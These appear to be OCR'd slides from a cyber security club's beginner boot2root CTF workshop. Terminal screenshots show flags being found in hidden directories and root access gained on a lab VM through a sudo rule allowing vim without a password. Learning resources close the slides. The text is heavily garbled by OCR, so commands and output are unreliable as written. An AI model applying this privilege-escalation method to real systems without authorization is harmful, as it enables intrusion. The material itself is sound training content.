BadBaneCat@ubuntu2010:~$ cat user.txt

e
/=== THE LEGEND OF
/==/ o
|===| - \ v\
\==\ /= A\ / _\
\===\__ X LNLE /===/ AT/ RN N
\==\ \ NN Semef N S e / AR\
\===\ N \\\\\\\/ /000 B
\==\/ \\\/ /7 /77111 \| |/==/ \ / \
\==\ = \N/ T == 5 I |
\==\ /\// /] /|\ ____/| ____/| 2
\==\/ [/ // | / / 7 LN
\==\ / =/
=\ /S OCARINA OF TIME
\==\
/ \===\
/[ /\===
// /] \=
Lolor
|7_/
CONGRADULATIONS! ! !

CCSCFLAG8{user_then_root}BadBaneCatubuntu2010:~$ l
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BadBaneCat@ubuntu2010:~$ cd

BadBaneCat@ubuntu2010:~$ find / -name "flag.txt" 2>/dev/null
/var/wwni/html/flag. txt
/home/BadBaneCat/Documents/.logs/04/002/flag. txt
/home/BadBaneCat/Documents/.logs/04/003/0001/flag.txt
/home/BadBaneCat/Documents/.logs/02/flag.txt

/home/BadBaneCat/Documents/.logs/05/001/002/001/00001/flag.txt
BadBaneCatgubuntu2010:~$ | |



n BadBaneCat@ubuntu2010: ~/Documents/.logs

BadBaneCat@ubuntu2010:~/Documents$ 1s -lia

total 12

3276816 drwuxr-xr-x 3 root root 4096 Jan 25 15:23 .
3276811 drwxr-xr-x 8 BadBaneCat BadBaneCat 4096 Jan 26 01:53 ..
3276820 druxr-xr-x 6 root root 4096 Jan 26 02:44 .logs

BadBaneCat@ubuntu2010:~/Documents$ cd .logs/
BadBaneCatgubuntu2010:~/Documents/.logs$ s

02 03 04 05
BadBaneCat@ubuntu2010:~/Documents/.logs$ 1s -R

02 03 @4 05

./02:
flag.txt

./03:
0001 o001

./03/0001:
test. txt

./03/001:
002

./03/001/002:
nootnoot.txt

/04
002 003

./04/002:
flag.txt



+ §

./04/003:
total 16
3276830 druxr-xr-x 4
3276829 drwxr-xr-x 4
3276831 drwxr-xr-x 2
3276833 drwxr-xr-x 2

./04/003/0001:
total 12
3276831 drwxr-xr-x 2

3276830 druxr-xr-x 4
3276832 -rw-r--r-- 1
./04/003/0002:

total 12

3276833 drwxr-xr-x 2
3276830 drwxr-xr-x 4
3276834 -rw-r--r--

root
root
root
root

root
root
root

root
root

root
root
root
root

root
root
root

root
root

4096
4096
4096
4096

4096
4096
11

4096
4096

Jan
Jan
Jan
Jan

Jan
Jan
Jan

Jan
Jan

BadBaneCat@ubuntu2010: ~/Documents/.logs

25
25
25
25

25
25
26

25
25

15:23
15:23
15:23
15323

15:23
15:23
03:38

15:23
15:23

0001
0002

flag. txt

noot. txt

./05:

total 12

3285106 drwxr-xr-x 3
3276820 druxr-xr-x 6
3285107 drwxr-xr-x 3

./05/001:
total 12
3285107 drwxr-xr-x 3
3285106 drwxr-xr-x 3
3285108 drwxr-xr-x 3

./05/001/002:
total 12

root
root
root

root
root
root

root
root
root

root
root
root

4096
4096
4096

4096
4096
4096

Jan
Jan
Jan

Jan
Jan
Jan

26
26
26

26
26
26

02:44
02:44
02:44

02:44
02:44
02:44

001

002



BadBaneCat@ubuntu2010:~/Documents/.logs/04/003/0002% pud
/home/BadBaneCat/Documents/.logs/04/003/0002
BadBaneCatubuntu2010:~/Documents/.logs/04/003/0002$% cat noot.txt

88

88

88

88,dPPYba, ,adPPYYba, ,adPPYba,
88P' Y8a "8 Y8 as” A
88 88 ,adPPPPP88 8b

88 88 88, ,88 "8a, ,aa
88 88 ""8bbdP"Y8 ~"Ybbdg"'

88

88

88

88 ,d8 ,adPPYba, 8b,dPPYba,
88 ,a8" a8P____ 88 88P' "Y8
8888[ gpp""""""" gg

88 "Yba, "8b, ,aa 88

88 ‘Y8a ""Ybbds"' 88

CCSCFLAG9{you_are_hackerman}BadBaneCat@ubuntu2010:~/Documents/.logs/04/003/0002% l
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BadBaneCat@ubuntu2010:~$ cd

BadBaneCat@ubuntu2010:~$ find / -name "flag.txt" 2>/dev/null
/var/wewi/html/flag. txt
/home/BadBaneCat/Documents/.logs/04/002/flag. txt
/home/BadBaneCat/Documents/.logs/04/003/0001/flag.txt
/home/BadBaneCat/Documents/.logs/02/flag. txt
/home/BadBaneCat/Documents/.logs/05/001/002/001/00001/flag.txt
BadBaneCatgubuntu2010:~$ | |

BadBaneCatubuntu2010:~$ cat /var/www/html/flag.txt

V1 (w4 OCA
__////+++++nnu-nu-nnnnnn;;;m\
______ /11111 ++attaaea4+" """ O000% )
__/0)///0)//0)//0)/++///]/]]/++++++++++"""000k5%%5%%/
—--0)/ ———————— LITTITTLITT T DT asaaa ] ] ] ] ] 4440000 %%0%5%%%/
W A11---0)---0)///0)//0)///0)///]]]]]/+++++====00k%%%%%/
..0) N e e I1111111111 434/ /" A\VANVZ/

//../0)-—0)///0)///0)///0)//++++///// !/ \/
Sl LTI+ 11T =/
.=//..0).-/0)--0)--0)--0)--.. X
....... ==/11111111. /e
.0)..0)..

CCSCFLAG10{ascii_art_peacock}BadBaneCataubuntu2010:~$ [|
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i+ BadBaneCat@ubuntu2010: ~/Documents/.logs/04/003/0002 Q

CCSCFLAG9{you_are_hackerman}BadBaneCatgubuntu2010:~/Documents/.logs/04/003/0002$ sudo -1
Matching Defaults entries for BadBaneCat on ubuntu2010:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User BadBaneCat may run the following commands on ubuntu2010:

(ALL) NOPASSWD:
(ALL) NOPASSWD:
(ALL) NOPASSWD:
(ALL) NOPASSWD:
(ALL) NOPASSWD:
(ALL) NOPASSWD:
(ALL) NOPASSWD:
(ALL) NOPASSWD:
(ALL) NOPASSWD:
(ALL) NOPASSWD:
(ALL) NOPASSWD:
(ALL) NOPASSWD:
(ALL) NOPASSWD:
(ALL) NOPASSWD:
(ALL) NOPASSWD:

Jusr/bin/vim
Jusr/bin/vim
Jusr/bin/vim
Jusr/bin/vim
Jusr/bin/vim
Jusr/bin/vim
Jusr/bin/vim
Jusr/bin/vim
Jusr/bin/vim
Jusr/bin/vim
Jusr/bin/vim
Jusr/bin/vim
Jusr/bin/vim
Jusr/bin/vim
Jusr/bin/vim

BadBaneCatgubuntu2010:~/Documents/.logs/04/003/00025 ||



sudo vim

BadBaneCat@ubuntu2010: ~/Documents/.logs/04/003/0002

type

type
type
type

VIM - Vi IMproved

version 8.2.716

by Bram Moolenaar et al.
Modified by team+vimgtracker.debian.org
Vim is open source and freely distributable

Help poor children in Uganda!

thelp iccf<Enter>

:g<Enter>
:help<Enter> or <F1>
thelp version8<Enter>

for information

to exit
for on-line help
for version info



a BadBaneCat@ubuntu2010: ~/Documents/.logs/04/003/0002 Q

BadBaneCat@ubuntu2010:~/Documents/.logs/04/003/0002% sudo vim

# id
uid=0(root) gid=0(root) groups=0(root)
|



a BadBaneCat@ubuntu2010: ~/Documents/.logs/04/003/0002 Q [ W N )

# cd /root

# 1s

root.txt snap
# cat root.txt

CONGRADS! !!

Thanks for playing!!!
CCSCFLAG11{boot_to_roots_are_a_hoot}
# ]



CONGRATULATIONS!
YOU HAVE MADE IT TO THE END!
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TryHackMe

Beginner to advanced level.
Huge amount of content.
One of the best hands-on
leaming resource.

HackTheBox

Challenge based platform.
Boot2root machines. CTF
challenges.

PEH by TCM

One of the best regarded
courses on penefration
testing. Pad but often
discounted or freely
available.

OsSCP

Offensive Security
Certified Professional.
Prestigious cerfifications.
Often lands a job to ifs
holder.

OSCE

High end certificate. Brutal
exam. Being on this level
must be nice.

By
11V) ¢

Cyber

Roadmap

Immersive Labs

Lots of educational
content on all areas of
Cyber. From risk
management o labs on
specific fools.

VulnHub

The original boot2root
machine platform.
Dowmloadable VM images.
Massive amount of
content. 535+ machines.

eJPT

eLeamSecurity Certified
Junior Penetration Tester
certificate. Beginner
friendly cert, very good
course content (PTS).

eCPPT

eLeamSecurity Certified
Professional Penetration
Tester. Lesser known than
OSCP but has better
course materials.

CEH

The one to rule them all
The certificate of the
ultimate penetration tester.
(It's a joke, please avoid
this thing) - Commonly
required by govemments.

NEXT STEPS




LINK

https://tryhackme.com/dashboard S @
https:/www.vulnhub.com/
https://www.hackthebox.eu/ N

VULI\"—IUB

https://overthewire.org/wargames/

0 Iry
nio Hack
01 01010 M e


https://tryhackme.com/dashboard
https://www.vulnhub.com/
https://www.hackthebox.eu/
https://overthewire.org/wargames/

LINK

Bob’s Missing Cat CTF s

https://www.vulnhub.com/entry/bobs-missing-cat-ctf-11,368/

LazySysAdmin-1

https://www.vulnhub.com/entry/lazysysadmin-1,205/

Basic-Pentesting-1

https://www.vulnhub.com/entry/basic-pentesting-1.216/

BossPlayersCTF-1

https://www.vulnhub.com/entry/bossplayersctf-1,375/

RickdiculouslyEasy-1

https://www.vulnhub.com/entry/rickdiculouslyeasy-1.207/

>
VULI\"—IUB

Bob’s Missing Cat is a three part
CTF where the goal is to find your
lost cat.

more...

Bob's Missing Cat CTF: 1.1

11 Oct 2019 by ThreeWhiteHats



https://www.vulnhub.com/entry/bobs-missing-cat-ctf-11,368/
https://www.vulnhub.com/entry/lazysysadmin-1,205/
https://www.vulnhub.com/entry/basic-pentesting-1,216/
https://www.vulnhub.com/entry/bossplayersctf-1,375/
https://www.vulnhub.com/entry/rickdiculouslyeasy-1,207/

Tutorials and Write Ups:

https://www.hackingarticles.in/

https://www.abatchy.com

https://0xdf.qitlab.io/

https://book.hacktricks.xyz/

- Will also post these slides:

LINK

- 8arlefon
i yber
\?,’\\ Security
“L Club

Week ©0.1: Setting up
VirtualBox VMs


https://www.hackingarticles.in/
https://www.abatchy.com
https://0xdf.gitlab.io/
https://book.hacktricks.xyz/

 c——
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THANKS FOR COMING

Want more? Let us know!

Build your own and run a workshop

Questions?

i @ T @ K
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